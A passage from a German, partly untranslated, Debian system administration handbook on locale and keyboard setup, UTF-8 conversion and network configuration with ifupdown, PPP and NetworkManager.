Der Befehl locale listet eine Zusammenfassung der aktuellen Konfiguration verschiedener lokaler Parameter (Datumsformat, Zahlenformat usw.) auf, dargestellt in Form einer Gruppe von Standardumgebungsvariablen, die der dynamischen Änderung dieser Einstellungen entsprechen.

8.1.1. Die Standardsprache einstellen

Eine Sprachumgebung ist eine Sammlung regionaler Einstellungen. Diese beinhalten nicht nur die Sprache für den Text, sondern auch das Format für Zahlen, Datumsangaben, Zeiten und Währungsbeträge, sondern auch die Regeln für alphabetische Vergleiche (um Einträge mit Akzenten richtig einzusortieren). Obwohl jeder dieser Parameter unabhängig von den anderen festgelegt werden kann, verwenden wir normalerweise eine Sprachumgebung, die einen kohärenten Satz von Einstellungen zur Verfügung stellt, die einem „Gebiet“ im weiteren Sinne zugeordnet werden kann. Diese Sprachumgebungen werden gewöhnlich in der Form sprachcode_LÄNDERCODE angegeben, manchmal mit einem Suffix zur Festlegung des Zeichensatzes und der zu verwendenden Kodierung. Dies ermöglicht die Berücksichtigung redensartlicher und typografischer Unterschiede zwischen verschiedenen Regionen mit einer gemeinsamen Sprache.

KULTUR Zeichensätze

Historisch bedingt hat jede Sprachumgebung einen dazugehörigen „Zeichensatz“ (Gruppe bekannter Zeichen) und eine bevorzugte „Codierung“ (interne Darstellung von Zeichen innerhalb des Rechners).

Die gängigsten Kodierungen für latin-basierte Sprachen waren begrenzt auf 256 Zeichen, weil diese ein einzelnes Byte für jedes Zeichen verwendeten. Da man mit 256 Zeichen nicht alle europäischen Sprachen abdecken konnte, benötigte man mehrere Kodierungen und so kam es unter anderem zu ISO-8859-1 (auch bekannt als “Latin 1”) bis ISO-8859-15 (auch bekannt als “Latin 9”).

Das Arbeiten mit fremden Sprachen erfordert häufig regelmäßiges Umschalten zwischen verschiedenen Codierungen und Zeichensätzen. Darüber hinaus führte das Schreiben mehrsprachiger Dokumente zu weiteren, fast unlösbaren Problemen. Unicode (ein Superkatalog fast aller Schreibsysteme aller Sprachen der Erde) wurde zur Umgehung dieses Problems entwickelt. Eine der Codierungen von Unicode, UTF-8, behält alle 128 ASCII-Symbole (7-Bit Codes), behandelt weitere Zeichen aber auf andere Weise. Diesen wird spezielle „Escape“-Sequenz mit wenigen Bits vorangestellt, die implizit die Länge des Zeichens festlegt. Dadurch können alle Unicode-Zeichen in einer Folge von einem oder mehreren Bytes kodiert werden. Durch die Voreinstellung in XML-Dokumenten wurde die Verwendung von Unicode populär.

Diese Kodierung sollte allgemein verwendet werden und ist deshalb auch die Voreinstellung für Debian-Systeme.

The locales package includes all the elements required for proper functioning of “localization” of various applications. During installation, this package will ask you to select a set of supported languages. This set can be changed at any time by running dpkg-reconfigure locales as root.

Sie werden zunächst gefragt, welche „Sprachumgebungen“ unterstützt werden sollen. Das Auswählen aller deutschen Sprachumgebungen (das heißt all jener, die mit „de_“ beginnen) ist eine vernünftige Wahl. Zögern Sie nicht, weitere Sprachumgebungen auszuwählen, falls der Rechner ausländischen Benutzern zur Verfügung stehen wird. Die Liste der unterstützten Sprachumgebungen des Systems ist in der Datei /etc/locale.gen gespeichert. Diese Datei kann von Hand editiert werden, jedoch sollten Sie nach jeder Änderung locale-gen ausführen. Es erzeugt die für die hinzugefügten Sprachumgebungen erforderlichen Dateien und entfernt veraltete.

The second question, entitled “Default locale for the system environment”, requests a default locale. The recommended choice in the USA is “en_US.UTF-8”. British English speakers will prefer “en_GB.UTF-8”, and Canadians will prefer either “en_CA.UTF-8” or, for French, “fr_CA.UTF-8”. The /etc/default/locale file will then be modified to store this choice. From there, it is picked up by all user sessions since PAM will inject its content in the LANG environment variable.

Das Paket locales-all enthält die vorkompilierten Gebietsschemadaten für alle unterstützten Gebietsschemas.

HINTER DEN KULISSEN /etc/environment und /etc/default/locale

Die Datei /etc/environment stellt für die Programme login, gdm und auch ssh die richtigen Umgebungsvariablen bereit, die diese einsetzen sollen.

These applications do not create these variables directly, but rather via a PAM (pam_env.so) module. PAM (Pluggable Authentication Module) is a modular library centralizing the mechanisms for authentication, session initialization, and password management. See Abschnitt 11.7.3.2, „PAM konfigurieren“ for an example of PAM configuration.

Die Datei /etc/default/locale funktioniert ähnlich, enthält aber nur die Umgebungsvariable LANG. Dies bedeutet, dass einige PAM-Benutzer eine Umgebung ohne Lokalisierung erhalten. Es wird allgemein nicht empfohlen, Serverprogramme mit regionalen Einstellungen auszuführen; dagegen ist es bei Programmen, die eine Anwendersitzung eröffnen, empfohlen, regionale Einstellungen zu verwenden.

8.1.2. Die Tastatur einstellen

Auch wenn das Tastatur-Layout für Konsole und grafisches Interface unterschiedlich verwaltet wird, bietet Debian eine gemeinsame Konfigurationsschnittstelle: sie basiert auf debconf und ist im Paket keyboard-configuration enthalten. Deshalb kann man jederzeit den Befehl dpkg-reconfigure keyboard-configuration verwenden um das Tastatur-Layout zurückzusetzen.

Die Fragen sind für die physische Tastaturanordnung wichtig (eine gewöhnliche PC-Tastatur in Deutschland und Österreich wird vom Typ „Generische Tastatur mit 105 Tasten (Intl)“ sein), dann für die zu wählende Belegung (normalerweise „DE“) und schließlich für die Position der AltGr-Taste (Alt-Taste rechts der Leertaste). Schließlich stellt sich die Frage, welche Taste als „Compose-Taste“ verwendet werden soll, die es ermöglicht, Sonderzeichen durch die Kombination mehrerer Tastenanschläge einzugeben. Wenn Sie nacheinander Compose ' e eingeben, erhalten Sie ein E-Akut („é“). Alle diese Kombinationen sind in der Datei /usr/share/X11/locale/en_US.UTF-8/Compose beschrieben (oder einer anderen Datei in Übereinstimmung mit der aktuellen Sprachumgebung, wie sie in der Datei /usr/share/X11/locale/compose.dir festgelegt ist).

Beachten Sie, dass die hier beschriebene Tastaturkonfiguration für den grafischen Modus nur die Standardbelegung beeinflusst; die GNOME- und KDE-Umgebungen stellen, wie andere auch, bei ihren Systemeinstellungen ein Tastatur-Konfigurationsfenster bereit, das es jedem Anwender ermöglicht, seine eigene Konfiguration zu bekommen. Einige zusätzliche Optionen bezüglich des Verhaltens einiger bestimmter Tasten sind ebenfalls in diesen Konfigurationsfenstern verfügbar.

8.1.3. Auf UTF-8 umstellen

Die allgemeine Verbreitung von UTF-8 war eine lang erwartete Lösung für verschiedene Probleme im Bereich der Interoperabilität, da es den internationalen Austausch erleichtert und willkürliche Beschränkungen bei Zeichen, die in einem Dokument verwendet werden können, beseitigt. Die einzige Schattenseite ist, dass es durch eine ziemlich schwierige Übergangsphase gehen musste. Da sie nicht vollständig transparent ablaufen konnte (das heißt, dass sie nicht gleichzeitig weltweit stattfinden konnte), waren zwei Umstellungsvorgänge erforderlich: einer beim Dateiinhalt und der andere bei den Dateinamen. Zum Glück ist der Großteil dieser Umstellung inzwischen erledigt, und wir erwähnen sie nur der Vollständigkeit halber.

KULTUR Zeichensalat und Interpretationsfehler

When a text is sent (or stored) without encoding information, it is not always possible for the recipient to know with certainty what convention to use for determining the meaning of a set of bytes. You can usually get an idea by getting statistics on the distribution of values present in the text, but that doesn't always give a definite answer. When the encoding system chosen for reading differs from that used in writing the file, the bytes are misinterpreted, and you get, at best, errors on some characters, or, at worst, something completely illegible.

Wenn zum Beispiel ein französischer Text normal erscheint bis auf die mit Akzenten versehenen Buchstaben und bestimmte Symbole, die stattdessen durch Zeichenfolgen wie „Ã©“, „Ã¨“ oder „Ã§“ angezeigt werden, handelt es sich vermutlich um eine Datei, die in UTF-8 kodiert ist, aber als ISO-8859-1 oder ISO-8859-15 interpretiert wird. Dies ist ein Hinweis auf eine lokale Installation, die noch nicht auf UTF-8 umgestellt ist. Falls Sie dagegen Fragezeichen anstelle von mit Akzenten versehenen Buchstaben sehen - selbst wenn diese Fragezeichen einen Buchstaben zu ersetzen scheinen, der auf einen mit einem Akzent versehenen Buchstaben hätte folgen sollen - ist es wahrscheinlich, dass Ihre Installation bereits für UTF-8 konfiguriert ist, und dass Ihnen ein in Western ISO codiertes Dokument geschickt worden ist.

Soviel zu den „einfachen“ Fällen. Diese treten nur in westlichen Kulturen auf, da Unicode (und UTF-8) entwickelt wurde, um die Gemeinsamkeiten historischer Codierungen in westlichen, auf Latein basierenden Alphabeten zu maximieren, wodurch es möglich ist, Teile des Textes zu erkennen, selbst wenn einige Buchstaben fehlen.

Bei komplexeren Konfigurationen, bei denen es sich zum Beispiel um zwei Umgebungen mit zwei verschiedenen Sprachen handelt, die nicht dasselbe Alphabet verwenden, erhält man häufig völlig unleserliche Ergebnisse - eine Reihe abstrakter Symbole, die nichts miteinander zu tun haben. Dies ist aufgrund ihrer zahlreichen Sprach- und Schriftsysteme vor allem bei asiatischen Sprachen der Fall. Das japanische Wort Mojibake wird zur Bezeichnung dieses Phänomens verwendet. Wenn es auftritt, ist eine Diagnose schwierig, und die einfachste Lösung besteht dann häufig darin, auf beiden Seiten einfach auf UTF-8 umzustellen.

Bei Dateinamen kann die Umstellung recht einfach sein. Das Hilfsprogramm convmv (im gleichnamigen Paket) ist speziell zu diesem Zweck entwickelt worden; es ermöglicht die Umbenennung von Dateien von einer Codierung in eine andere. Die Benutzung dieses Hilfsprogramms ist recht einfach, wir empfehlen jedoch, in zwei Schritten vorzugehen, um Überraschungen zu vermeiden. Das folgende Beispiel zeigt eine UTF-8-Umgebung, die in ISO-8859-15 codierte Verzeichnisnamen enthält, und die Verwendung von convmv zu ihrer Umbenennung.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

Für Dateiinhalte sind die Umwandlungsverfahren wegen der enormen Vielfalt bestehender Dateiformate aufwändiger. Einige Dateiformate enthalten Kodierungsinformationen, die die Aufgabe der zu ihrer Behandlung eingesetzten Software erleichtern; in diesen Fällen genügt es, die Dateien zu öffnen und sie unter Vorgabe der Codierung als UTF-8 erneut zu speichern. In anderen Fällen muss man beim Öffnen der Datei ihre ursprüngliche Codierung angeben (ISO-8859-1 oder „Western“, beziehungsweise ISO-8859-15 oder „Western (Euro)“ je nach Formulierung).

For simple text files, you can use recode (in the package of the same name) which allows automatic recoding. This tool has numerous options so you can play with its behavior. We recommend you consult the documentation, the recode(1) man page, or the recode info page (more complete). Alternatively, iconv supports more character sets, but has less options.

8.2. Konfigurieren des Netzwerks

ZURÜCK ZU DEN GRUNDLAGEN Wesentliche Netzwerkkonzepte (Ethernet, IP-Adresse, Subnetz, Broadcast)

Die meisten modernen lokalen Netzwerke verwenden das Ethernet-Protokoll, bei dem Daten in kleine Abschnitte, sogenannte „Frames“, unterteilt und dann abschnittsweise über das Kabel übertragen werden. Die Übertragungsgeschwindigkeit reicht von 10 Mb/s bei älteren Ethernetkarten bis zu 100 Gb/s bei den neuesten (wobei die übliche Geschwindigkeit zur Zeit von 100 Mb/s auf 10 Gb/s ansteigt). Die am weitesten verbreiteten Kabel heißen 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T und 40GBASE-T je nach Durchsatz, den sie verlässlich erreichen können (das T steht für „twisted pair“); diese Kabel haben RJ45-Steckverbinder. Es gibt auch andere, meistens für Geschwindigkeiten 10 Gb/s oder mehr verwendete, Kabelarten.

Eine IP-Adresse ist eine Zahl, die zur Identifizierung einer Netzwerkschnittstelle eines Rechners in einem lokalen Netzwerk oder im Internet dient. In der gegenwärtig am weitesten verbreiteten IP-Version (IPv4) ist diese Zahl in 32 Bits codiert und wird gewöhnlich in Form von vier durch Punkte getrennte Zahlen dargestellt (z. B. 192.168.0.1), wobei jede Zahl von 0 bis 255 reichen kann (was einem Datenumfang von 8 Bits entspricht). Die nächste Version des Protokolls, IPv6, erweitert den Adressenraum auf 128 Bits, und die Adressen werden normalerweise in Form einer Reihe von hexadezimalen durch Doppelpunkte getrennte Zahlen dargestellt (z. B. 2002:58bf:13bb:0002:0000:0000:0020 oder kurz 2002:58bf:13bb:2::20).

Eine Subnetzmaske (netmask) legt in ihrem Binärcode fest, welcher Teil einer IP-Adresse sich auf das Netzwerk bezieht, während der Rest den Rechner bezeichnet. In dem hier dargestellten Beispiel der Konfiguration einer statischen IPv4-Adresse lässt die Subnetzmaske 255.255.255.0 (24 „1“en gefolgt von 8 „0“en in binärer Darstellung) erkennen, dass sich die ersten 24 Bits der IP-Adresse auf die Netzwerkadresse beziehen und die übrigen 8 rechnerspezifisch sind. Bei IPv6 werden der besseren Lesbarkeit halber nur die „1“en dargestellt; die Netzmaske eines IPv6-Netzwerks könnte daher etwa 64 lauten.

Die Netzwerkadresse ist eine IP-Adresse, bei der der Teil, der die Rechnernummer bezeichnet, 0 ist. Der Bereich der IPv4-Adressen in einem vollständigen Netzwerk wird häufig in Form der Syntax a.b.c.d/e angegeben, wobei a.b.c.d die Netzwerkadresse und e die Anzahl der Bits ist, auf die sich der Netzwerkteil einer IP-Adresse auswirkt. Das Beispiel-Netzwerk würde somit 192.168.0.0/24 geschrieben. In IPv6 ist die Syntax ähnlich: 2002:58bf:13bb:2::/64.

Ein Router ist ein Gerät, das mehrere Netzwerke miteinander verbindet. Aller durch einen Router laufender Datenverkehr wird dem richtigen Netzwerk zugeleitet. Hierzu analysiert der Router ankommende Pakete und leitet sie in Abhängigkeit von der IP-Adresse ihres Ziels weiter. Der Router wird häufig als „Gateway“ bezeichnet; in dieser Konfigurierung fungiert er als ein Gerät, das dabei hilft, über das lokale Netzwerk hinauszugelangen (in ein erweitertes Netzwerk wie zum Beispiel das Internet).

Die spezielle Broadcast-Adresse verbindet alle Stationen eines Netzwerks. Sie wird fast nie „geroutet“ und funktioniert nur innerhalb des betreffenden Netzwerks. Insbesondere bedeutet dies, das ein an den Broadcast adressiertes Datenpaket niemals über den Router läuft.

Dieses Kapitel befasst sich vor allem mit IPv4-Adressen, da sie zur Zeit die am häufigsten verwendeten sind. Die Einzelheiten des IPv6-Protokolls werden in Abschnitt 10.6, „IPv6“ dargelegt; das Konzept bleibt jedoch das gleiche.

Das Netzwerk wird bei der Erstinstallation automatisch konfiguriert. Wenn der Network Manager installiert wird (was im Allgemeinen bei vollständigen Desktop-Installationen der Fall ist), ist möglicherweise keine Konfiguration erforderlich (also wenn Sie zum Beispiel DHCP für eine Kabelverbindung eingestellt und keine weiteren Anforderungen haben). Wenn jedoch eine Konfiguration nötig ist (zum Beispiel bei einer WLAN Verbindung), dann wird die entsprechende Datei in /etc/NetworkManager/system-connections/ erstellt.

NOTIZ NetworkManager

If Network Manager is particularly recommended in roaming setups (see Abschnitt 8.2.5, „Automatische Netzwerkkonfigurierung für mobile Benutzer“), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/ as described in sidebar ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections. For more information about the syntax of the configuration file please read interfaces(5).

8.2.1. Ethernet-Schnittstelle

Falls der Rechner eine Ethernet-Karte hat, muss das mit ihr verbundene IP-Netzwerk durch eine von zwei möglichen Verfahren konfiguriert werden. Die einfachste Methode besteht in der dynamischen Konfigurierung mit DHCP, und sie erfordert einen DHCP-Server im lokalen Netzwerk. Bei ihr kann der gewünschte Hostname angegeben werden, wie er in unten stehendem Beispiel unter hostname angegeben ist. Der DHCP-Server schickt dann die Konfigurierungseinstellungen für das entsprechende Netzwerk.

Beispiel 8.1. DNS-Konfiguration

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

AUS DER PRAXIS Benennung von Netzwerk-Interfaces

By default, the kernel attributes generic names such as eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order (at least in theory) might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6). Thus the name becomes predictable.

Natürlich können Sie diese Richtlinie überschreiben und / oder ergänzen, um die Namen einiger bestimmter Schnittstellen anzupassen. Die Namen der Netzwerkschnittstellen finden Sie in der Ausgabe von ip addr (oder als Dateinamen in /sys/class/net/).

In some corner cases it might be necessary to disable the predictable naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 (restores the default kernel behavior) and biosdevname=0 kernel parameters to achieve that.

The predecessor of the predictable name scheme was called “persistent name scheme”. It was done using a udev rule to assign the device name based on the MAC address. This scheme has been abandoned and with the release of Debian 10 Buster users have been encouraged to migrate to predictable network device names.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

Eine „statische“ Konfiguration muss die Netzwerkeinstellungen fest vorgeben. Hierzu gehören wenigstens die IP-Adresse und die Subnetzmaske; Netzwerk- und Broadcast-Adressen werden manchmal ebenfalls aufgeführt. Ein mit der Außenwelt verbundener Router wird als Gateway spezifiziert.

Beispiel 8.2. Statische Konfiguration

auto enp0s31f6 iface enp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

HINWEIS Mehrfache Adressen

It is possible not only to associate several interfaces to a single, physical network card, but also several IP addresses to a single interface. To assign them, just create several iface entries for the same device. Remember also that an IP address may correspond to any number of names via DNS, and that a name may also correspond to any number of numerical IP addresses.

Wie Sie vermuten, können Konfigurationen recht komplex sein, jedoch werden diese Optionen nur in sehr speziellen Fällen verwendet. Die hier gezeigten Beispiele sind für gewöhnliche Konfigurationen typisch.

8.2.2. Drahtlose Schnittstelle

Es kann etwas schwieriger sein, WLAN-Netzwerkkarten zum Funktionieren zu bringen. Zuallererst erfordern sie oft die Installation proprietärer Firmwares, die in Debian nicht standardmäßig installiert sind. Dann sind drahtlose Netzwerke auf Kryptografie angewiesen, um den Zugriff auf autorisierte Benutzer zu beschränken, was das Speichern eines geheimen Schlüssels in der Netzwerkkonfiguration voraussetzt. Lassen Sie uns diese Themen eins nach dem anderen angehen.

8.2.2.1. Installieren der erforderlichen Firmware

Zuerst müssen Sie das non-free Repository in der Datei sources.list von APT aktivieren: siehe Abschnitt 6.1, „Befüllen der sources.list Datei“ für Details zu dieser Datei. Viel Firmware ist proprietär und befindet sich daher in diesem Repository. Sie können versuchen, diesen Schritt zu überspringen, wenn Sie wollen, aber wenn der nächste Schritt die benötigte Firmware nicht findet, versuchen Sie es erneut, nachdem Sie den unfreien Abschnitt aktiviert haben.

Dann müssen Sie die entsprechenden firmware-*-Pakete installieren. Wenn Sie nicht wissen, welches Paket Sie benötigen, können Sie das Paket isenkram installieren und dessen Befehl isenkram-autoinstall-firmware ausführen. Die Pakete sind oft nach dem Hardwarehersteller oder dem entsprechenden Kernelmodul benannt: firmware-iwlwifi für Intel-Wireless-Karten, firmware-atheros für Qualcomm Atheros, firmware-ralink für Ralink usw. Ein Neustart wird dann empfohlen, da der Kernel-Treiber normalerweise beim ersten Laden nach den Firmware-Dateien sucht und danach nicht mehr.

8.2.2.2. WLAN-spezifische Einträge in /etc/network/interfaces

ifupdown ist in der Lage, drahtlose Schnittstellen zu verwalten, benötigt jedoch die Hilfe des Pakets wpasupplicant, das die erforderliche Integration zwischen ifupdown und dem Befehl wpa_supplicant bietet, der zur Konfiguration der drahtlosen Schnittstellen (bei Verwendung von WPA/WPA2-Verschlüsselung) verwendet wird. Der übliche Eintrag in /etc/network/interfaces muss um zwei zusätzliche Parameter erweitert werden, um den Namen des drahtlosen Netzwerks (bekannt als SSID) und den Pre-Shared Key (PSK) anzugeben.

Beispiel 8.3. DHCP-Konfiguration für eine WLAN-Schnittstelle

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

Der Parameter wpa-psk kann entweder die Klartext-Passphrase oder ihre gehashte Version enthalten, die mit wpa_passphrase SSID Passphrase generiert wurde. Wenn Sie eine unverschlüsselte drahtlose Verbindung verwenden, dann sollten Sie einen wpa-key-mgmt NONE und keinen wpa-psk-Eintrag eingeben. Weitere Informationen über die möglichen Konfigurationsoptionen finden Sie unter /usr/share/doc/wpasupplicant/README.Debian.gz.

Zu diesem Zeitpunkt sollten Sie in Betracht ziehen, die Leseberechtigungen auf /etc/network/interfaces nur auf den Root-Benutzer zu beschränken, da die Datei einen privaten Schlüssel enthält, auf den nicht alle Benutzer Zugriff haben sollten.

HINWEIS WEP Verschlüsselung

Die Verwendung des veralteten WEP-Verschlüsselungsprotokolls ist mit dem wireless-tools-Paket möglich. Siehe /usr/share/doc/wireless-tools/README.Debian für Anweisungen.

8.2.3. Mit PPP über ein PSTN-Modem verbinden

Eine Punkt-zu-Punkt-Verbindung (PPP) stellt eine zeitweilige Verbindung her; sie ist die üblichste Lösung bei Verbindungen über ein Telefonmodem („PSTN-Modem“, da die Verbindung über das öffentliche Telefonnetz läuft).

Für eine Verbindung über ein Telefonmodem ist ein Konto bei einem Zugangsanbieter erforderlich, einschließlich Telefonnummer, Benutzername, Passwort und manchmal des zu verwendenden Authentifizierungsprotokolls. Eine derartige Verbindung wird mit dem Hilfsprogramm pppconfig aus dem gleichnamigen Debian-Paket konfiguriert. Standardmäßig konfiguriert es eine Verbindung mit dem Namen provider (nach dem Zugangsanbieter). Falls Sie sich bezüglich des Authentifizierungsprotokolls nicht sicher sind, wählen Sie PAP: es wird von der Mehrheit der Internetanbieter angeboten.

Nach der Konfigurierung ist es möglich, mit dem Befehl pon eine Verbindung herzustellen (indem man den Namen der Verbindung als Parameter angibt, falls der Standardwert provider nicht passt). Die Verbindung wird mit dem Befehl poff beendet. Diese beiden Befehle können vom Root-Benutzer ausgeführt werden oder von jedem anderen Benutzer, der in der dip-Gruppe ist.

8.2.4. Über ein ADSL-Modem verbinden

Der allgemeine Ausdruck „ADSL-Modem“ bezeichnet eine Vielzahl von Geräten mit sehr unterschiedlichen Funktionen. Die am einfachsten mit Linux zu verwendenden Modems sind solche mit einer Ethernet- (und nicht nur mit einer USB-) Schnittstelle. Sie sind recht beliebt. ADSL-Internet-Anbieter verleihen (oder vermieten) eine „Box“ mit Ethernet-Schnittstelle. Je nach Art des Modems unterscheidet sich die Konfiguration deutlich.

8.2.4.1. Modems, die PPPOE unterstützen

Manche Ethernet-Modems arbeiten mit dem PPPOE-Protokoll (Point to Point Protocol over Ethernet). Das Hilfsprogramm pppoeconf (aus dem gleichnamigen Paket) konfiguriert die Verbindung. Hierzu ändert es die Datei /etc/ppp/peers/dsl-provider mit den angegebenen Einstellungen und speichert die Anmeldeinformation in den Dateien /etc/ppp/pap-secrets und /etc/ppp/chap-secrets. Es wird empfohlen, alle vorgeschlagenen Veränderungen zu akzeptieren.

Sobald die Konfigurierung abgeschlossen ist, können Sie die ADSL-Verbindung mit dem Befehl pon dsl-provider herstellen und mit poff dsl-provider wieder trennen.

TIPP Ppp beim Booten starten

PPP-Verbindungen über ADSL sind per Definition intermittierend. Da sie in der Regel nicht nach der Zeit abgerechnet werden, gibt es nur wenige Nachteile für die Versuchung, sie immer offen zu halten. Standardmäßig wird dazu das init-System verwendet.

Das Hinzufügen einer automatisch neu startenden Aufgabe für die ADSL-Verbindung ist mit systemd einfach durch die Erstellung einer "Unit-Datei" wie /etc/systemd/system/adsl-connection.service, mit Inhalten wie dem folgenden:

[Unit] Description=ADSL Verbindung [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

Sobald diese Unit-Datei definiert wurde, muss sie mit systemctl enable adsl-connection aktiviert werden. Dann kann die Schleife manuell mit systemctl start adsl-connection gestartet werden; sie wird auch beim Booten automatisch gestartet.

Auf Systemen ohne systemd (einschließlich Wheezy und früheren Versionen von Debian) funktioniert der Standard SystemV init anders. Auf solchen Systemen genügt es, eine Zeile wie die folgende am Ende der Datei /etc/inittab hinzuzufügen; jedes Mal, wenn die Verbindung getrennt wird, wird init sie wieder verbinden.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Für ADSL-Verbindungen die einmal am Tag unterbrochen werden verringert diese Methode die Dauer der Unterbrechung.

8.2.4.2. Modems, die PPTP unterstützen

Das Protokoll PPTP (Point-to-Point Tunneling Protocol) wurde von Microsoft entwickelt. Es wurde zu Beginn von ADSL eingesetzt, dann aber schnell durch PPPOE ersetzt. Falls Sie zur Verwendung dieses Protokolls gezwungen werden, schlagen Sie unter Abschnitt 10.3.4, „PPTP“ nach.

8.2.4.3. Modems, die DHCP unterstützen

Wenn ein Modem über ein Ethernet-Kabel (gekreuztes Kabel) mit dem Rechner verbunden ist, richten Sie normalerweise auf diesem Rechner eine Netzwerkverbindung mit DHCP ein; das Modem fungiert dann automatisch als Gateway und übernimmt das Routing (das heißt, dass es den Netzwerkverkehr zwischen dem Rechner und dem Internet verwaltet).

ZURÜCK ZU DEN GRUNDLAGEN Gekreuztes Kabel für eine direkte Ethernetverbindung

Computer-Netzwerkkarten erwarten den Empfang von Daten auf bestimmten Leitungen des Kabels und senden ihre Daten auf anderen. Wenn Sie einen Rechner mit einem lokalen Netzwerk verbinden, schließen Sie normalerweise ein Kabel (gerade oder gekreuzt) zwischen der Netzwerkkarte und einem Repeater oder Schalter an. Wenn Sie jedoch zwei Rechner direkt miteinander verbinden wollen (ohne einen dazwischenliegenden Schalter oder Repeater), müssen Sie das von der einen Karte ausgesendete Signal zur empfangenen Seite der anderen Karte schicken und umgekehrt. Dies ist der Sinn eines gekreuzten Kabels und der Grund, warum es verwendet wird.

Beachten Sie, dass diese Unterscheidung im Laufe der Zeit fast irrelevant geworden ist, weil moderne Netzwerkkarten in der Lage sind, den angeschlossenen Kabeltyp zu erkennen, sodass oft beide an der gegebenen Schnittstelle funktionieren.

Die meisten ADSL-Router auf dem Markt können derart benutzt werden, genauso wie die meisten ADSL-Modems, die von Internetanbietern zur Verfügung gestellt werden.

8.2.5. Automatische Netzwerkkonfigurierung für mobile Benutzer

Viele Falcot-Ingenieure haben einen tragbaren Rechner, den sie für berufliche Zwecke auch zu Hause benutzen. Die zu verwendende Netzwerk-Konfigurierung ist je nach Ort verschieden. Zu Hause kann es ein (mit einem WPA-Schlüssel geschütztes) WLAN-Netzwerk sein, während am Arbeitsplatz ein kabelgebundenes Netzwerk mit größerer Sicherheit und höherer Bandbreite benutzt wird.

Um zu vermeiden, dass die entsprechenden Netzwerkschnittstellen von Hand verbunden und getrennt werden müssen, haben die Administratoren auf diesen mobilen Rechnern das Paket network-manager installiert. Dieses Programm ermöglicht es einem Anwender, auf einfache Weise über ein Symbol im Benachrichtigungsbereich seiner grafischen Arbeitsumgebung von einem Netzwerk zu einem anderen zu wechseln. Bei einem Klick auf dieses Symbol wird eine Liste der verfügbaren Netzwerke (sowohl der verkabelten als auch der kabellosen) angezeigt, so dass man einfach das Netzwerk auswählen kann, das man benutzen möchte. Das Programm speichert die Konfiguration der Netzwerke, mit denen der Anwender bereits verbunden war, und schaltet automatisch auf das beste verfügbare Netzwerk um, wenn die aktuelle Verbindung abbricht.

Hierzu besteht das Programm aus zwei Teilen: ein als Root laufender Daemon ist für die Aktivierung und Konfigurierung des Netzwerks zuständig, während eine Benutzerschnittstelle diesen Daemon steuert. PolicyKit kümmert sich um die benötigten Autorisierungen zur Steuerung des Programm und Debian hat PolicyKit so konfiguriert, dass Mitglieder der Gruppe netdev Network-Manager-Verbindungen anlegen oder ändern können.

Network-Manager weiß, wie er mit verschiedenen Verbindungsarten (DHCP, manuelle Konfiguration, lokales Netzwerk) umzugehen hat, aber nur, wenn die Konfiguration mit diesem Programm erfolgt ist. Daher ignoriert es systematisch alle Netzwerk-Schnittstellen in der Datei /etc/network/interfaces und /etc/network/interfaces.d/, für die es nicht geeignet ist. Da Network-Manager keine genaueren Angaben macht, wenn keine Netzwerkverbindungen angezeigt werden, ist es am einfachsten, aus der Datei /etc/network/interfaces alle Schnittstellen zu löschen, die vom Network-Manager verwaltet werden sollen.

Beachten Sie, dass dieses Programm standardmäßig installiert wird, wenn während der anfänglichen Installation die Programmgruppe „Desktop-Umgebung“ ausgewählt wurde.

8.3. Den Hostnamen einstellen und den Namensservice konfigurieren

Der Sinn der Zuweisung von Namen zu IP-Nummern besteht darin, sie für Menschen leichter merkbar zu machen. Eigentlich bestimmt eine IP-Adresse eine Netzwerk-Schnittstelle, die einem Gerät, wie einer Netzwerkkarte, zugeordnet ist. Da jeder Rechner mehrere Netzwerkkarten haben kann, und jede Karte mehrere Schnittstellen, kann ein einzelner Rechner im Domain-Namenssystem mehrere Namen haben.

